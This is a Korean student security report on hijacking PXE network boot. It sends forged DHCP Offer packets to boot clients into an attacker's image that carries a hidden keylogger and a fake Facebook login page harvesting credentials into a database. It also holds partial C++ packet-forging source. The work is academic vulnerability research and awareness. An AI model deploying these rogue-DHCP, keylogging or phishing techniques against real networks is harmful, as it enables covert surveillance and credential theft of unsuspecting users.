Preboot Execution Environment Vulnerability Analysis 팀 명 : Secure In 지도교수 : 유승재교수님 팀 장 : 장한빈 팀 원 : 정영호김영석민유진김인수 중부대학교정보보호학과 - 1 -

Similar documents
PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

C프로-3장c03逞풚

vi 사용법

K&R2 Reference Manual 번역본

6주차.key

PowerPoint 프레젠테이션

2009년 상반기 사업계획

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

Microsoft PowerPoint - 04-UDP Programming.ppt

Microsoft PowerPoint - [2009] 02.pptx

C++-¿Ïº®Çؼ³10Àå

Analytics > Log & Crash Search > Unity ios SDK [Deprecated] Log & Crash Unity ios SDK. TOAST SDK. Log & Crash Unity SDK Log & Crash Search. Log & Cras

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CC0E7B0EDB0FCB8AE5C53746F636B5F4D616E D656E74732E637070>

BMP 파일 처리

Microsoft Word - ntasFrameBuilderInstallGuide2.5.doc

PowerPoint 프레젠테이션

<C0CCBCBCBFB52DC1A4B4EBBFF82DBCAEBBE7B3EDB9AE2D D382E687770>

PowerPoint 프레젠테이션

bn2019_2

쉽게 풀어쓴 C 프로그래밍

var answer = confirm(" 확인이나취소를누르세요."); // 확인창은사용자의의사를묻는데사용합니다. if(answer == true){ document.write(" 확인을눌렀습니다."); else { document.write(" 취소를눌렀습니다.");

PowerPoint 프레젠테이션

hd1300_k_v1r2_Final_.PDF

PowerPoint 프레젠테이션

The Pocket Guide to TCP/IP Sockets: C Version

8 장데이터베이스 8.1 기본개념 - 데이터베이스 : 데이터를조직적으로구조화한집합 (cf. 엑셀파일 ) - 테이블 : 데이터의기록형식 (cf. 엑셀시트의첫줄 ) - 필드 : 같은종류의데이터 (cf. 엑셀시트의각칸 ) - 레코드 : 데이터내용 (cf. 엑셀시트의한줄 )

자바-11장N'1-502

Eclipse 와 Firefox 를이용한 Javascript 개발 발표자 : 문경대 11 년 10 월 26 일수요일

초보자를 위한 C# 21일 완성

TCP.IP.ppt

chap 5: Trees

Microsoft PowerPoint - Java7.pptx

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

1217 WebTrafMon II

/chroot/lib/ /chroot/etc/

Secure Programming Lecture1 : Introduction

Connection 8 22 UniSQLConnection / / 9 3 UniSQL OID SET

프로그램을 학교 등지에서 조금이라도 배운 사람들을 위한 프로그래밍 노트 입니다. 저 역시 그 사람들 중 하나 입니다. 중고등학교 시절 학교 도서관, 새로 생긴 시립 도서관 등을 다니며 책을 보 고 정리하며 어느정도 독학으르 공부하긴 했지만, 자주 안하다 보면 금방 잊어

02 C h a p t e r Java

03장.스택.key

목차 목차포트스캔코드포트스캔결과포트스캔탐지코드포트스캔탐지결과 참조

The Pocket Guide to TCP/IP Sockets: C Version

< FC8A8C6E4C0CCC1F620B0B3B9DF20BAB8BEC8B0A1C0CCB5E5C3D6C1BE28C0FAC0DBB1C7BBE8C1A6292E687770>

untitled

Research & Technique Apache Tomcat RCE 취약점 (CVE ) 취약점개요 지난 4월 15일전세계적으로가장많이사용되는웹애플리케이션서버인 Apache Tomcat에서 RCE 취약점이공개되었다. CVE 취약점은 W

API STORE 키발급및 API 사용가이드 Document Information 문서명 : API STORE 언어별 Client 사용가이드작성자 : 작성일 : 업무영역 : 버전 : 1 st Draft. 서브시스템 : 문서번호 : 단계 : Docum

SMB_ICMP_UDP(huichang).PDF

Network seminar.key

다른 JSP 페이지호출 forward() 메서드 - 하나의 JSP 페이지실행이끝나고다른 JSP 페이지를호출할때사용한다. 예 ) <% RequestDispatcher dispatcher = request.getrequestdispatcher(" 실행할페이지.jsp");

놀이동산미아찾기시스템

제목을 입력하세요.

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

C++ Programming

3ÆÄÆ®-11

<4D F736F F F696E74202D E20B3D7C6AEBFF6C5A920C7C1B7CEB1D7B7A1B9D62E >

Sena Technologies, Inc. HelloDevice Super 1.1.0

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

chap7.key

게시판 스팸 실시간 차단 시스템

강의10

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt


Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Chap7.PDF

SYN flooding

PowerPoint 프레젠테이션

C++ Programming

13주-14주proc.PDF

untitled

Microsoft Word - KPMC-400,401 SW 사용 설명서

Microsoft PowerPoint - Supplement-03-TCP Programming.ppt [호환 모드]

Microsoft PowerPoint - ch09 - 연결형리스트, Stack, Queue와 응용 pm0100

Microsoft PowerPoint - 03-TCP Programming.ppt

PowerPoint 프레젠테이션

5.스택(강의자료).key

Microsoft Word - src.doc

본 강의에 들어가기 전

PowerPoint 프레젠테이션

Microsoft PowerPoint - GUI _DB연동.ppt [호환 모드]

untitled

The Pocket Guide to TCP/IP Sockets: C Version

컴퓨터과학과 교육목표 컴퓨터과학과의 컴퓨터과학 프로그램은 해당분야 에서 학문적 기술을 창의적으로 연구하고 산업적 기술을 주도적으로 개발하는 우수한 인력을 양성 함과 동시에 직업적 도덕적 책임의식을 갖는 IT인 육성을 교육목표로 한다. 1. 전공 기본 지식을 체계적으로

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

Microsoft PowerPoint - C++ 5 .pptx

MySQL-Ch10

ORANGE FOR ORACLE V4.0 INSTALLATION GUIDE (Online Upgrade) ORANGE CONFIGURATION ADMIN O

PowerPoint Template

Data Sync Manager(DSM) Example Guide Data Sync Manager (DSM) Example Guide DSM Copyright 2003 Ari System, Inc. All Rights reserved. Data Sync Manager


10.ppt

쉽게 풀어쓴 C 프로그래밊


슬라이드 1

cam_IG.book

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

Microsoft PowerPoint - Lecture_Note_5.ppt [Compatibility Mode]

rmi_박준용_final.PDF

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

Transcription:

Preboot Execution Environment Vulnerability Analysis 팀 명 : Secure In 지도교수 : 유승재교수님 팀 장 : 장한빈 팀 원 : 정영호김영석민유진김인수 2018. 11. 중부대학교정보보호학과 - 1 -

목 차 1. 서론 1.1 연구배경 1.2 연구필요성 1.3 연구목적및주제선정 2. 관련연구 2.1 Python 3.5 2.2 Windows 10 2.3 MySQL 2.4 Tomcat 8 2.5 JSP(JavaServer Pages) 2.6 Ubuntu Linux 2.7 C++ 3. 본론 3.1 시스템구성 3.2 개발시스템운영 Exploit Tool 3.3 개발시스템운영 - Keylogger 3.4 개발시스템운영 - Facebook Phishing Site 4. 결론 4.1 결론및기대효과 4.2 향후계획 5. 참고자료 6. 별첨 6.1 발표ppt 6.2 소스코드 - 2 -

1. 서론 1.1 연구배경 연구의배경으로공동의관심사에서해킹도구의개발및네트워크해킹에관련된주제를 탐색하던중네트워크를통해부팅하는환경인 PXE 에대해흥미를느끼게되어취약점탐색 및해킹도구개발을시작하게되었다. 1.2 연구필요성 PXE 소규모네트워크로구성된장소에서흔히쓰이는기술로, 학교나학원, 피시방등에서일률적인이미지로부팅하여소-중규모인원의사용자가부팅을할때쓰인다. PXE는 Operator System이하드디스크내에저장되어있지않아네트워크를통해외부에서 OS Image를가져오는환경을의미한다. 현재거의모든피시방에서 ' 노하드 ' 라는이름으로이네트워크부팅 ( 이하 PXE) 을사용하고있으며, 현재 PXE에대한알려진해킹사례는많지않아현존하는위협에대한보안대책이필요한실정이다. 또한, PXE의부팅방식이표준화되어있어 PXE의취약점은모든환경에대해공격이가능하다는점에서큰파급력을가진다.. 1.3 연구목적및주제선정 PXE는하드디스크를장착하지않아도되는경제적부담해소와부가적인장비가사용되지않는장점으로인해많이사용되고있다. 또한, PXE 서버의단일 OS 이미지를수정할경우 PXE 부팅을사용하는컴퓨터 ( 클라이언트 ) 에수정내용이반영되는관리의편의성도제공한다. PXE의장점은사용자에게편의성을제공하는한편공격자가서비스에침투한다면다수의이용자를한번의공격으로장악이가능한상황을연출할수도있다. 이런점에서공격자가네트워크내에서정상서버로가장하여정상적인부팅이미지가아닌공격자가만든악의적인목적의이미지를부팅시키는시나리오를구상하였다. 기존의해킹기법은 1:1이다수를차지하고있다는점을미루어보아 PXE 취약점을이용한공격시도는 1:N의형태를띠고있으므로파급력부분에서많은의의가있다. 만약공격자가정보탈취를위해부팅이미지에 Keylogger, Phshing Site Redirect 등공격도구를내재해놓는다면 PXE를이용하는사용자는사실을인지하지못한채정보유츌의피해자가될것이다. 따라서가상 PXE 환경을구축하여 PXE 부팅의취약점탐색및 PoC Code 작성을통해 PXE가가지는취약점과파급력에대해다루고취약점을보완하는방안을제시하는것이이번연구의목표이다. - 3 -

2. 관련연구 2.1 Python 3.5 Python은 1991년프로그래머인 Guido van Rossum이발표한고급프로그래밍언어로, 플랫폼독립적이며인터프리터식, 객체지향적, 동적타이핑대화형언어이다. Python은비영리의 Python 소프트웨어재단이관리하는개방형, 공동체기반개발모델을가지고있다. C언어로구현된 C파이썬구현이사실상의표준이다. 2.2 Windows 10 Windows 10 은 Microsoft의윈도우계열의개인용컴퓨터운영체제이다. 2015년 7월 29 일일반사용자에게공개되었으며, Windows Vista 이후 Windows 7, 8로버전이넘버링되어왔는데, 9를뛰어넘고 Windows 10으로이름붙였다. 이는 Microsoft가모든장치에서포괄적으로동작하는다양한플랫폼을나타내기위한의도에의한것이다. 커널또한 Windows Vista 이후 6.x 버전에서바로 10.0으로출시되었다. 2.3 MySQL MySQL은세계에서가장많이쓰이는오픈소스의관계형데이터베이스관리시스템 (RDBMS) 이다. 다중스레드, 다중사용자의형식의구조질의어형식의데이터베이스관리시스템으로서 MySQL AB가관리및지원하고있으며, Qt처럼이중라이선스가적용된다. 하나의옵션은 GPL이며 GPL 이외의라이선스로적용시키려는경우전통적인지적재산권라이선스의적용을받는다. 2.4 Tomcat 8 Apache Tomcat 은아파치소프트웨어재단에서개발한서블릿컨테이너 ( 또는웹컨테이너 ) 만 있는웹애플리케이션서버이다. 톰캣은웹서버와연동하여실행할수있는자바환경을제공하여 JSP 와자바서블릿이실행 할수있는환경을제공하고있다. 톰캣은관리툴을통해설정을변경할수있지만, XML 파일 을편집하여설정할수도있다. 그리고톰캣은 HTTP 서버도자체내장하기도한다. - 4 -

2.5 JSP(JavaServer Pages) JSP 는 HTML 내에자바코드를삽입하여웹서버에서동적으로웹페이지를생성하여웹브 라우저에돌려주는언어이다. Java EE 스펙중일부로웹애플리케이션서버에서동작한다. JSP는실행시에는자바서블릿으로변환된후실행되므로서블릿과거의유사하다고볼수있다. 하지만, 서블릿과는달리 HTML 표준에따라작성되므로웹디자인하기에편리하다. 1999년썬마이크로시스템즈에의해배포되었으며이와비슷한구조로 PHP, ASP, ASP.NET 등이있다. 2.6 Ubuntu Linux Ubuntu는컴퓨터에서프로그램과주변기기를사용할수있도록해주는운영체제중하나다. 안드로이드운영체제처럼리눅스커널에기반한운영체제로모바일과데스크톱PC, 서버에도 Ubuntu 운영체제를설치해사용할수있다. 리눅스는리누스토발즈라는개발자가어셈블리어라는프로그래밍언어로유닉스를모델삼아개발한오픈소스운영체제다. Ubuntu는리눅스 OS의배포판중하나로특히데스크톱 PC에서사용할수있게특화된운영체제이다. 2.7 C++ 1980년대까지전세계적으로가장많은사람들에게사랑을받고가장널리사용된프로그래밍전문언어는 C이다. 하지만 C언어역시한계에부딪치게되었고이에따라고도로복잡한프로그램을관리하기위하여 C++ 가탄생하게되었다. C++ 는 C 프로그래머가쉽게 C++ 를사용할수있다는관련성에서큰장점이있다. - 5 -

3. 본론 3.1 시스템구성 일반적인 ( 해킹의위협으로부터안전한 )OS이미지를가지고있는정상서버와악성프로그램과피싱사이트가내장되어있는이미지를가진공격자의서버, 그리고 DHCP서버로부터아이피를할당받아부팅을진행하는클라이언트 PC가있다. PoC 코드를실행하게되면 PXE Booting시발생하는 DHCP Discover와 DHCP Offer을탐지하여탐지후에공격자가만들어놓은이미지로부팅이될수있도록 DHCP Offer 패킷을만들어낸다. 이패킷을이용해 DHCP Discover 발생시 DHCP Offer 패킷을전송하여정상적인 PXE 서버가아닌공격자의서버이미지로부팅이되도록정보를제공하게된다. - 6 -

3.2 개발시스템운영 Exploit Tool [ 그림 1] 정상적인서버부팅 정상적인서버의 OS 이미지를로드하여실행되는과정을 Sniffing 하여공격자의서버로부팅 을하는정보를가진패킷을만들기위해사용자 ( 클라이언트 ) 의 MAC Address, IP Address 를 조사하여정보를저장한다. [ 그림 2] 패킷을수집후변조 - 7 -

[ 그림 3] 변조패킷전송 이후사용자가재부팅할때 되면공격자의서버로부팅하기위해변조된 Offer 패킷을 Client 에게전송한다. 사용자는공격자에의해가짜 DHCP Offer 패킷이할당하는 IP 를임대받게되고정상적인이미 지가아닌공격자가설정해놓은비정상적인이미지로부팅하게된다. 부팅이성공적으로진 행되면프로그램은자동으로종료된다. [ 그림 4] 192.168.0.20 -> 192.168.0.66 부팅되는화면 - 8 -

3.3 개발시스템운영 - Keylogger 구동 [ 그림 5] Client Keylogger : client.exe 의경로 C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp 위치에는부팅시자 동으로시작되는프로그램이위치하게되며, 위의그림에서사용자의 PC 에서 Keylogger 프로 그램이설치되어있는것을볼수있다. [ 그림 6] Client Keylogger : 백그라운드로실행되고있는 client.exe 프로그램 - 9 -

Client.exe 는실행시나타나는명령프롬포트를은닉하여사용자가정보가탈취되고있는상 황을인지하지못하도록하였다. [ 그림 7] Server Keylogger 구동화면 Client.exe 프로그램이실행되면 Server 에서제작한 Server 용프로그램을통해 Client PC 의 IP 와접속된 PC 수를확인할수있다. - 10 -

[ 그림 8] Client Server 에전달될내용확인 Client PC 에서작업관리자를보면프로세스이름과프로세스이미지이름, PID 를확인할수 있다. [ 그림 8] 의 프로세스이름 : 졸작, 프로세스이미지이름 : KaKaoTalk.exe, PID : 6064, 키 로깅화면에서출력될내용 : abc 키로거테스트입니다! 의정보를확인한다. - 11 -

[ 그림 9] Server Client 가전달한내용확인 Server 는접속된 PC 의순서대로 userx 의이름을부여하여각 PC 를식별할수있고, 프로세 스이미지이름, 프로세스이름, PID, 입력된키값과 ASCII Code 값을모니터링할수있으며 Client 가입력한정보와일치하는것을확인할수있다. Keylogger client 프로그램은 20 개의키입력을기준으로 Queue 를통해 Server 에게정보를전 송할수있도록구현하였다. Queue 가모두채워지지않더라도 Client 가임의의시간동안입력 이없을경우 (30 초 ) Queue 의용량에상관없이정보를전송할수있도록하였다. - 12 -

[ 그림 10] Server Prt Sc 키이벤트발생시서버에저장되는이미지파일 또한 Client 가 Prt Sc 키이벤트를발생시켰을때 ScreenShot 화면을 userx.bmp 의파일이름 으로 Server PC 에저장될수있도록기능을추가하였다. 3.4 개발시스템운영 - Facebook Phishing Site - 13 -

[ 그림 11] Client facebook 바로가기아이콘 부팅시바탕화면에존재하는 facebook 바로가기를통해사용자는 facebook Phishing Site 에 접속할수있도록구현하였다. [ 그림 12] Client ID, PASSWORD 입력 사용자는 ID 와 Password 를입력하여로그인을시도한다. (yujin@joongbu.ac.kr : baegopas2) [ 그림 13] Client Alert Message 이때접속한 Facebook 홈페이지는 Facebook Phishing Site 이므로모든입력에대해로그인 - 14 -

오류와관련한팝업메세지를출력한다. [ 그림 14] Client 실제 facebook site 팝업메세지를닫은이후실제 Facebook 홈페이지로 Redirect 할수있도록구연하였다. [ 그림 15] Server Database 에저장된정보 Server 의 DB 정보를확인하여사용자가입력한 ID 와 Password 가정상적으로저장되었음을 확인할수있다. - 15 -

4. 결론 4.1 결론및기대효과 본연구에서확인하고자하는목적을프로젝트기간내에완수하여 PXE를대상으로취약점탐색및 PoC작성을완료하였고, Keylogger 등으로정보탈취등을하여사용자의행동을감시할수있음을보여줌으로써보안성이고려된 PXE booting 서버의필요성을제고하여 PXE가해킹되면위험할수있다는사실을상기시키고, 고난도기술개발을통한기술역량을축적하며보안기술의중요성을인식시키는계기가되었다. 4.2 향후계획 본논문에기재된 PXE 의취약점이외에도존재할수있는다른취약점에대한탐색및분 석을통해보안이향상된 PXE 환경을구축할수있도록일조하는것이목표이다. 5. 참고자료 Python 화이트해커를위한암호와해킹 정보문화사 6. 별첨 6.1 발표 ppt - 16 -

- 17 -

- 18 -

- 19 -

- 20 -

- 21 -

- 22 -

- 23 -

- 24 -

- 25 -

- 26 -

- 27 -

- 28 -

- 29 -

- 30 -

- 31 -

- 32 -

- 33 -

- 34 -

- 35 -

6.2 소스코드 cal_checksum.h #include <iostream> #include <stdint.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netinet/tcp.h> #include <netinet/icmp6.h> using namespace std; #pragma pack(push,1) struct pesudo uint32_t src_ip; uint32_t dst_ip; uint8_t reserved; uint8_t protocol; uint16_t length; ; struct icmphdr u_int8_t type; /* message type */ u_int8_t code; /* type sub-code */ u_int16_t check; union struct u_int16_t id; u_int16_t sequence; echo; /* echo datagram */ u_int32_t gateway; /* gateway address */ struct u_int16_t glibc_reserved; u_int16_t mtu; frag; /* path mtu discovery */ - 36 -

; un; #pragma pack(pop) class cal_checksum struct iphdr *iph; struct udphdr *udph; struct tcphdr *tcph; struct icmphdr *icph; struct pesudo pseu; public: cal_checksum(); void get_iphdr(struct iphdr *ip); void get_udphdr(struct udphdr *up); void get_tcphdr(struct tcphdr *tp); void get_icmphdr(struct icmphdr *icp); void get_pesudo(int type); uint16_t checksum(int select_checksum); int calculation(uint8_t *temp, int length, bool change); ; convert_char_to_binary.h #ifndef CONVERT_CHAR_TO_BINARY_H #define CONVERT_CHAR_TO_BINARY_H #include <stdint.h> #include <stdio.h> using namespace std; void char_to_binary(char *str_mac, uint8_t *mac); #endif // CONVERT_CHAR_TO_BINARY_H detect_packet.h #ifndef DETECT_PACKET_H #define DETECT_PACKET_H #include <pcap.h> #include <netinet/ether.h> #include <netinet/ip.h> - 37 -

#include <netinet/udp.h> #include <unistd.h> #include <atomic> #include "cal_checksum.h" #include "dhcp_header.h" #include "parse.h" #define ipchecksum 0 #define udpchecksum 1 #define tcpchecksum 2 #define icmpchecksum 3 #define OUT_OF_RANGE 65536 #define MTU 1500 bool detect_parsing_packet(parse *ps);//void -> bool void detect_tftp_packet(parse *ps, atomic<bool> &run); #endif // DETECT_PACKET_H dhcp_header.h #ifndef DHCP_HEADER_H #define DHCP_HEADER_H #include <stdint.h> #define DHCP_CLIENT_PORT 68 #define DHCP_SERVER_PORT 67 #define DHCP_CHADDR_LEN 10//16 #define DHCP_SNAME_LEN 64 #define DHCP_FILE_LEN 128 #define DHCP_OPTIONS_LEN 512 #define DHCP_MIN_OPTIONS_LEN 68 struct bootstrap uint8_t message_type; uint8_t hardware_type; uint8_t hardware_addr_length; uint8_t hops; uint16_t transaction_id; - 38 -

; uint16_t seconds_elapsed; uint16_t broadcast_flag:1; uint16_t reserved_flag:15; uint32_t client_ip_addr; uint32_t your_ip_addr; uint32_t next_server_ip_addr; uint32_t relay_agent_ip_addr; uint8_t client_mac_addr[6]; uint8_t client_hardware_address_padding[dhcp_chaddr_len]; uint8_t server_host_name[dhcp_sname_len]; uint8_t boot_file[dhcp_file_len]; uint32_t magic_cookie; // DHCP client states #define DHCP_REQUESTING 1 #define DHCP_INIT 2 #define DHCP_REBOOTING 3 #define DHCP_REBINDING 4 #define DHCP_RENEWING 5 #define DHCP_SELECTING 6 #define DHCP_INFORMING 7 #define DHCP_CHECKING 8 #define DHCP_PERMANENT 9 #define DHCP_BOUND 10 #define DHCP_BACKING_OFF 11 #define DHCP_OFF 12 // DHCP message types #define DHCP_DISCOVER 1 #define DHCP_OFFER 2 #define DHCP_REQUEST 3 #define DHCP_DECLINE 4 #define DHCP_ACK 5 #define DHCP_NAK 6 #define DHCP_RELEASE 7 #define DHCP_INFORM 8-39 -

// DHCP options #define DHCP_OPTION_PAD 0 #define DHCP_OPTION_SUBNET_MASK 1 #define DHCP_OPTION_TIME_OFFSET 2 #define DHCP_OPTION_ROUTERS 3 #define DHCP_OPTION_TIME_SERVERS 4 #define DHCP_OPTION_NAME_SERVERS 5 #define DHCP_OPTION_DOMAIN_NAME_SERVERS 6 #define DHCP_OPTION_LOG_SERVERS 7 #define DHCP_OPTION_COOKIE_SERVERS 8 #define DHCP_OPTION_LPR_SERVERS 9 #define DHCP_OPTION_IMPRESS_SERVERS 10 #define DHCP_OPTION_RESOURCE_LOCATION_SERVERS 11 #define DHCP_OPTION_HOST_NAME 12 #define DHCP_OPTION_BOOT_SIZE 13 #define DHCP_OPTION_MERIT_DUMP 14 #define DHCP_OPTION_DOMAIN_NAME 15 #define DHCP_OPTION_SWAP_SERVER 16 #define DHCP_OPTION_ROOT_PATH 17 #define DHCP_OPTION_EXTENSIONS_PATH 18 #define DHCP_OPTION_IP_FORWARDING 19 #define DHCP_OPTION_NON_LOCAL_SOURCE_ROUTING 20 #define DHCP_OPTION_POLICY_FILTER 21 #define DHCP_OPTION_MAX_DGRAM_REASSEMBLY 22 #define DHCP_OPTION_DEFAULT_IP_TTL 23 #define DHCP_OPTION_PATH_MTU_AGING_TIMEOUT 24 #define DHCP_OPTION_PATH_MTU_PLATEAU_TABLE 25 #define DHCP_OPTION_INTERFACE_MTU 26 #define DHCP_OPTION_ALL_SUBNETS_LOCAL 27 #define DHCP_OPTION_BROADCAST_ADDRESS 28 #define DHCP_OPTION_PERFORM_MASK_DISCOVERY 29 #define DHCP_OPTION_MASK_SUPPLIER 30 #define DHCP_OPTION_ROUTER_DISCOVERY 31 #define DHCP_OPTION_ROUTER_SOLICITATION_ADDRESS 32 #define DHCP_OPTION_STATIC_ROUTES 33 #define DHCP_OPTION_TRAILER_ENCAPSULATION 34 #define DHCP_OPTION_ARP_CACHE_TIMEOUT 35 #define DHCP_OPTION_IEEE802_3_ENCAPSULATION 36-40 -

#define DHCP_OPTION_DEFAULT_TCP_TTL 37 #define DHCP_OPTION_TCP_KEEPALIVE_INTERVAL 38 #define DHCP_OPTION_TCP_KEEPALIVE_GARBAGE 39 #define DHCP_OPTION_NIS_DOMAIN 40 #define DHCP_OPTION_NIS_SERVERS 41 #define DHCP_OPTION_NTP_SERVERS 42 #define DHCP_OPTION_VENDOR_ENCAPSULATED_OPTIONS 43 #define DHCP_OPTION_NETBIOS_NAME_SERVERS 44 #define DHCP_OPTION_NETBIOS_DD_SERVER 45 #define DHCP_OPTION_NETBIOS_NODE_TYPE 46 #define DHCP_OPTION_NETBIOS_SCOPE 47 #define DHCP_OPTION_FONT_SERVERS 48 #define DHCP_OPTION_X_DISPLAY_MANAGER 49 #define DHCP_OPTION_DHCP_REQUESTED_ADDRESS 50 #define DHCP_OPTION_DHCP_LEASE_TIME 51 #define DHCP_OPTION_DHCP_OPTION_OVERLOAD 52 #define DHCP_OPTION_DHCP_MESSAGE_TYPE 53 #define DHCP_OPTION_DHCP_SERVER_IDENTIFIER 54 #define DHCP_OPTION_DHCP_PARAMETER_REQUEST_LIST 55 #define DHCP_OPTION_DHCP_MESSAGE 56 #define DHCP_OPTION_DHCP_MAX_MESSAGE_SIZE 57 #define DHCP_OPTION_DHCP_RENEWAL_TIME 58 #define DHCP_OPTION_DHCP_REBINDING_TIME 59 #define DHCP_OPTION_VENDOR_CLASS_IDENTIFIER 60 #define DHCP_OPTION_DHCP_CLIENT_IDENTIFIER 61 #define DHCP_OPTION_NWIP_DOMAIN_NAME 62 #define DHCP_OPTION_NWIP_SUBOPTIONS 63 #define DHCP_OPTION_USER_CLASS 77 #define DHCP_OPTION_FQDN 81 #define DHCP_OPTION_DHCP_AGENT_OPTIONS 82 #define DHCP_OPTION_END 255 #endif // DHCP_HEADER_H parse.h #ifndef PARSE_H #define PARSE_H #include <iostream> #include <stdint.h> - 41 -

#include <string.h> #include <netinet/ether.h> #include <netinet/ip.h> #include <arpa/inet.h> using namespace std; #pragma pack(push,1) struct arp_header uint16_t hardware_type; uint16_t protocol_type; uint8_t hardware_size; uint8_t protocol_size; uint16_t opcode; uint8_t src_mac[6]; uint32_t src_ip; uint8_t dst_mac[6]; uint32_t dst_ip; ; struct using_arp_type_data uint16_t ether_arp_type = htons(0x0806); uint16_t hardware_type = htons(0x0001); uint16_t ipv4_type = htons(0x0800); uint8_t hardware_size = 0x06; uint8_t protocol_size = 0x04; uint16_t request_opcode = htons(0x0001); uint16_t reply_opcode = htons(0x0002); ; #pragma pack(pop) class parse private: char *interface; uint8_t attacker_mac[6]; uint32_t attacker_ip; uint8_t attacker_dhcp_mac[6]; uint32_t attacker_dhcp_ip; uint8_t client_mac[6]; - 42 -

uint8_t *dhcp_data; int dhcp_data_length; uint8_t *dhcp_packet; int dhcp_length; uint16_t transaction_id; uint8_t *arp_packet; int arp_length; public: int pre_packet_length; uint8_t broadcast[6]; uint8_t allpacket[6]; uint8_t origin_dhcp_mac[6]; uint32_t origin_dhcp_ip; parse(int argc, char *argv[]); void check_argc(int argc, char *argv[]); void get_my_mac(uint8_t mac[6]); void get_my_ip(char ip[16]); void parse_data_in_linux(); char* using_interface(); uint8_t *using_broadcast(); uint8_t *using_allpacket(); uint8_t *using_attacker_dhcp_server_mac(); uint32_t *using_attacker_dhcp_server_ip(); uint8_t *using_normal_dhcp_mac(); uint32_t *using_normal_dhcp_ip(); uint8_t *using_client_mac(); uint32_t *using_client_ip(); void parse_normal_dhcp_mac(uint8_t mac[6]); void parse_normal_dhcp_ip(uint32_t ip); void parse_client_mac(uint8_t mac[6]); void parse_client_ip(uint32_t ip); void make_dhcp_arr_space(int size); void get_dhcp_data_length(int length); void get_dhcp_data(uint8_t *packet); void make_dhcp_length(int size); void make_dhcp_packet(uint8_t *packet, int length, bool pointer); uint8_t *using_dhcp_data(); int using_dhcp_data_length(); - 43 -

; uint8_t *using_dhcp_packet(); int using_dhcp_length(); void show_dhcp_packet(); void make_arp_packet(); void parse_transaction_id(uint16_t id); uint16_t *using_transaction_id(); uint8_t *using_arp_packet(); int using_arp_packet_length(); uint16_t read_request=ntohs(0x0001); #endif // PARSE_H send_packet.h #ifndef SEND_PACKET_H #define SEND_PACKET_H #include <iostream> #include <pcap.h> #include <unistd.h> #include <netinet/ether.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <thread> #include <pthread.h> #include "parse.h" #include <atomic> using namespace std; void send_arp(parse *ps); void send_dhcp_offer(parse *ps); #endif // SEND_PACKET_H cal_checksum.cpp #include "cal_checksum.h" #define ipchecksum 0-44 -

#define udpchecksum 1 #define tcpchecksum 2 #define icmpchecksum 3 #define OUT_OF_RANGE 65536 cal_checksum::cal_checksum() void cal_checksum::get_iphdr(struct iphdr *ip) ip->check=0; this->iph=ip; void cal_checksum::get_udphdr(struct udphdr *up) up->check=0; this->udph=up; void cal_checksum::get_tcphdr(struct tcphdr *tp) tp->check=0; this->tcph=tp; void cal_checksum::get_icmphdr(struct icmphdr *icp) icp->check=0; this->icph=icp; void cal_checksum::get_pesudo(int type) //pesudo 파씽및 pesudo 생성 this->pseu.src_ip = this->iph->saddr; this->pseu.dst_ip = this->iph->daddr; this->pseu.reserved = 0; this->pseu.protocol = this->iph->protocol; switch (type) case udpchecksum: this->pseu.length = this->udph->len; break; case tcpchecksum: // 필요없음 this->pseu.length = htons(ntohs(this->iph->tot_len)-this->iph->ihl*4); break; default: break; - 45 -

int cal_checksum::calculation(uint8_t *temp, int length, bool change) //checksum 계산 int checksum0; /* for(int i=0; i<length; i++) if(i%16==0) cout << endl; printf("%02x ",temp[i]); */ for(int i=0; i<length; i+=2) //2바이트씩계산해야함 if(i==length-1 && change == true)// 홀수일경우마지막바이트처리 int last_arr=temp[length-1] << 8; checksum+=last_arr; break; checksum += (temp[i] << 8) + temp[i+1]; int carry_count0; while(checksum>=out_of_range) checksum-=out_of_range; carry_count++; checksum+=carry_count; return ~checksum; uint16_t cal_checksum::checksum(int select_checksum) //checksum ip인지 udp인지선택함수 uint8_t *temp; uint16_t checksum; int length0; switch (select_checksum) case ipchecksum: length = this->iph->ihl*4; - 46 -

temp = new uint8_t[length]; memcpy(temp,(uint8_t*)this->iph,length); checksum = calculation(temp,length,false); break; case udpchecksum: length = ntohs(this->udph->len) + sizeof(struct pesudo); temp = new uint8_t[length]; memcpy(temp,(uint8_t*)&this->pseu,sizeof(struct pesudo)); memcpy(temp+sizeof(struct pesudo),(uint8_t*)this->udph, ntohs(this->udph->len)); checksum = calculation(temp,length,true); break; default: break; delete []temp; return checksum; convert_char_to_binary.cpp #include "convert_char_to_binary.h" void char_to_binary(char *str_mac, uint8_t *mac) //mac주소의문자열을 1바이트값으로나눠서 sscanf((const char*)str_mac, "%2hhX:%2hhX:%2hhX:%2hhX:%2hhX:%2hhX", &mac[0],&mac[1],&mac[2],&mac[3],&mac[4],&mac[5]); detect_packet.cpp #include "detect_packet.h" bool detect_parsing_packet(parse *ps)//void -> bool //discover 패킷과 offer패킷탐지와 pcap_t *pcd; - 47 -

